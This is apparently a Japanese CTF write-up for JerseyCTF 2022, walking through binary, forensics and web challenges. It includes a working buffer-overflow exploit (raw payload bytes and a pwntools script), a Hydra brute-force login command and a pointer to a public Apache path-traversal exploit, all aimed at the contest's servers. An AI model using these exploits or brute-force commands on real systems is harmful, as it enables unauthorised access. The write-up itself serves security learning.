大会情報
- jerseyctf2
- 2022/4/9 - 2022/4/10
- 形式: Online / Jeopardy
各見出しは下記ルールで記載する。
[Challenge category] challenge name (score point)
[bin]misdirection(250 pt)
- Where'd the flag go?
Hint
- There are many ways to solve this challenge, some of which are much easier than others.
https://github.com/njitacm/jerseyctf-2022-challenges/tree/main/bin/misdirection
GDBでmain関数のアセンブリを見ると、
+76のところでeaxが0x24になるまでループしている。
+53時点でecxに先頭から1文字づつフラグが入っていたため、
main+53にブレイクポイントを貼って、一文字づつecxに格納されている文字列を確認することで、
フラグを取得できる。
$ gdb misdirection
> b *main+53
> run
> c
[bin]going-over(? pt)
- My friends said they were going on a trip but I think they ran into some trouble... nc 0.cloud.chals.io 10197
- They sent me these two files before we lost contact (src.c and going-over)
Hint- If only there were a way to find the exact location of the ledge... like if the ledge had an address or something
https://github.com/njitacm/jerseyctf-2022-challenges/tree/main/bin/going-over
バッファーバーフローがあるソースコードが提供される。
gets()を介して、リターンアドレスを書き換えることで、
シェルを呼び出す関数(grab_ledge())を呼び出す問題となっている。
Seccon beginers 2022 [pwnable]BeginnersBof(84pt)とほぼ同じ問題なので、左記も参考になる。
gdb-peda$ pdisass grab_ledge
Dump of assembler code for function grab_ledge:
0x00000000004011b6 <+0>: endbr64
0x00000000004011ba <+4>: push rbp
grab_ledge()の先頭アドレスは0x00000000004011b6とわかる。
abcdefghijklmnopqrstuvwxyz0123456789
を標準入力して、何バイトからリターンアドレスを書けばよいか見つける。
下記図のSaved Frame pointerは、レジスタでいうところのRBPに当たる。
つまり、RBPレジスタの次のレジスタに呼び出したい関数のリターンアドレスを書き換えればよい。
(gdb) run <<< $(echo -ne "abcdefghijklmnopqrstuvwxyz0123456789")
RBPはmnopqrstが格納されていることがわかるので、
その次の8バイト分にリターンアドレスが格納されていることになる。
grab_ledge()の先頭アドレスをリトルエンディアンで入力してあげればOK。
0x00000000004011b6 = \xb6\x11\x40\x00\x00\x00\x00\x00
$ run <<< $(echo -ne "abcdefghijklmnopqrst\xb6\x11\x40\x00\x00\x00\x00\x00")
pythonでも解ける。
from pwn import *
def exploit(p, binf):
flag_symbols = binf.symbols['grab_ledge'] + 1
log.info("flag symbols: {}".format(hex(flag_symbols)))
offset = 20
payload = b"A" * offset
payload += pack(flag_symbols)
log.info("payload: {}".format(payload))
p.sendlineafter("it!!!", payload)
def main():
context(arch="amd64", os="linux")
if args["REMOTE"]:
p = remote("0.cloud.chals.io", 10197)
else:
p = process("./going-over")
binf = ELF("./going-over")
exploit(p, binf)
p.interactive()
if __name__ == "__main__":
main()```
# [forensics]stolen-data(150 pt)
>- Someone accessed the server and stole the flag. Use the network packet capture to find it.
>- Hint- Look for unusual ports.
https://github.com/njitacm/jerseyctf-2022-challenges/tree/main/forensics/stolen-data
wiresharkのパケットを解析する問題。
データ量が多い順に並べてみたときに、ひときわ大きいデータがある。
パケットを見るとPDFであることがわかる。
該当パケットを右クリックして、Flow->TCPと選択して、別ウインドが開かれる。
表示形式をRawにして別名ファイルに保存して、PDFとして開くとフラグゲットできる。
# [web]apache-logs(100 pt)
>- An apache log file that contains recent traffic was pulled from a web server. There is suspicion that an external host was able to access a sensitive file accidentally placed in one of the company website's directories. Someone's getting fired...
>- Identify the source IP address that was able to access the file by using the flag format: jctf{IP address}
Hint
- Which directory types should sensitive files not be placed in?
アパッチのログ・ファイルが提供されるので、その中で外部から接続している不審なログを探す。
とりあえず adminでGrepするも400番エラーばかり。
```bash
% cat webtraffic.log| grep admin
138.11.249.187 - - [28/Dec/2021:17:19:07 -0500] "GET /wp-admin HTTP/1.0" 404 4940 "https://palmer.info/blog/tags/main/faq/" "Mozilla/5.0 (Windows NT 6.2; hy-AM; rv:1.9.0.20) Gecko/2013-04-28 18:53:03 Firefox/3.6.9"
152.205.158.114 - - [28/Dec/2021:17:33:46 -0500] "GET /wp-admin HTTP/1.0" 404 5019 "http://www.andrews.com/register.html" "Mozilla/5.0 (Windows; U; Windows 98) AppleWebKit/533.23.2 (KHTML, like Gecko) Version/5.0.4 Safari/533.23.2"
38.68.232.174 - - [28/Dec/2021:17:57:54 -0500] "GET /wp-admin HTTP/1.0" 404 4940 "https://www.rodgers.org/posts/app/wp-content/category/" "Mozilla/5.0 (Android 2.2.2; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0"
166.238.228.214 - - [28/Dec/2021:18:03:57 -0500] "GET /wp-admin HTTP/1.0" 404 4997 "http://cruz.biz/list/tag/search/" "Mozilla/5.0 (Windows NT 5.01; bg-BG; rv:1.9.1.20) Gecko/2017-05-08 22:57:38 Firefox/14.0"
38.2.11.208 - - [28/Dec/2021:18:31:26 -0500] "GET /wp-admin HTTP/1.0" 404 4966 "https://alexander.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/2012-03-30 04:35:48 Firefox/3.6.4"
8.148.203.32 - - [28/Dec/2021:19:01:42 -0500] "GET /wp-admin HTTP/1.0" 404 4966 "https://www.duran-johnson.com/main/" "Mozilla/5.0 (Macintosh; PPC Mac OS X 10_8_7; rv:1.9.5.20) Gecko/2015-01-11 03:57:27 Firefox/5.0"
185.6.88.2 - - [28/Dec/2021:19:04:03 -0500] "GET /wp-admin HTTP/1.0" 404 5037 "https://www.simmons-moon.net/tags/category/search/search/" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/536.2 (KHTML, like Gecko) Chrome/34.0.844.0 Safari/536.2"
188.55.107.242 - - [28/Dec/2021:20:04:27 -0500] "GET /wp-admin HTTP/1.0" 404 4995 "https://brown-higgins.biz/search/" "Mozilla/5.0 (Android 4.4.3; Mobile; rv:19.0) Gecko/19.0 Firefox/19.0"
7.109.118.37 - - [28/Dec/2021:20:09:12 -0500] "GET /wp-admin HTTP/1.0" 404 5047 "https://www.obrien.com/search/posts/explore/post/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/17.0.866.0 Safari/535.2"
64.102.146.205 - - [28/Dec/2021:20:37:33 -0500] "GET /wp-admin HTTP/1.0" 404 4938 "http://moody-burton.com/" "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 4.0; Trident/5.0)"
76.xxx.xxx.xxx
がbankrecords.pdfを取得していた。
このIPアドレスがフラグとなっているので、
jctf{76.xxx.xxx.xxx}
でクリアとなる。
$ cat webtraffic.log| grep 200
...
76.xxx.xxx.xxx - - [28/Dec/2021:21:02:26 -0500] "GET /posts/posts/explore HTTP/1.0" 200 4973 "https://www.davisbank.com/tmp/bankrecords.pdf" "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/3.0)"
[web]seigwards-secrets(100 pt)
- Seigward has been storing his secrets on his website https://jerseyctf.co for decades. Hasn't failed him yet.
上記にアクセスするとログイン画面が出てくる。
adminでログインして失敗するときと、
別IDでログイン失敗するときで、表示されるエラー文言が異なることに気づく。
BurpSuiteで詳細なデータの流れを追おうとしたが、
ログインボタンを押したあと、HTTPリクエスト/レスポンスしていないことがわかった。
ソースコードを見てみると、javascript内にbase64でエンコードされたフラグがあった。
あとはCyberChefにてbase64をデコードすれば問題解決。
[web]heres-my-password(250 pt)
- Here's the deal - we have a list of 500 users (males, females, and pets) and one password. Log-in with the proper credentials for the flag.
- The password is lightswitchon_and_offLOL26 and the website is www.jerseyctf.online.
https://github.com/njitacm/jerseyctf-2022-challenges/tree/main/web/heres-my-password
上記にアクセスするとログイン画面が出てくる。
BurpSuiteでリクエストを確認するとPOSTしていることがわかる。
POST / HTTP/1.1
Host: www.jerseyctf.online
Content-Length: 40
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.jerseyctf.online
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.jerseyctf.online/
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close
username=aaaa&password=bbbb&submit=Login
問題文からパスワードはlightswitchon_and_offLOL26なので、
リストを元に #hydra でBluteforceしていけばいい。
$ echo lightswitchon_and_offLOL26 > pass.txt
$ hydra -L users.txt -P pass.txt www.jerseyctf.online http-post-form "/:username=^USER^&password=^PASS^&submit=Login:Invalid login"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-04-09 19:30:56
[DATA] max 16 tasks per 1 server, overall 16 tasks, 500 login tries (l:500/p:1), ~32 tries per task
[DATA] attacking http-post-form://www.jerseyctf.online:80/:username=^USER^&password=^PASS^&submit=Login:Invalid login
[80][http-post-form] host: www.jerseyctf.online login: xxxxxxxx password: lightswitchon_and_offLOL26
[web]road-not-taken(300 pt)
- You've reached a fork in the road! Choose the right path to find your way to the flag.
Start here: https://jerseyctf-road-not-taken.chals.io/
https://github.com/njitacm/jerseyctf-2022-challenges/tree/main/web/road-not-taken
問題のサイトは、PNG画像が貼ってある簡素なページだけ。
ソースコードには、/root/flag.txtというパスがコメントされている。自力では解けなかった。
Local File Inclusion(LFI) を狙う問題のようだが、足がかりが見つからない。
CVE-2021-042013: Apache 2.4.50 - #PathTraversal or Remote Code Execution の脆弱性を突く問題だった。
下記を使えば問題が解けた。
% git clone https://github.com/TheLastVvV/CVE-2021-42013.git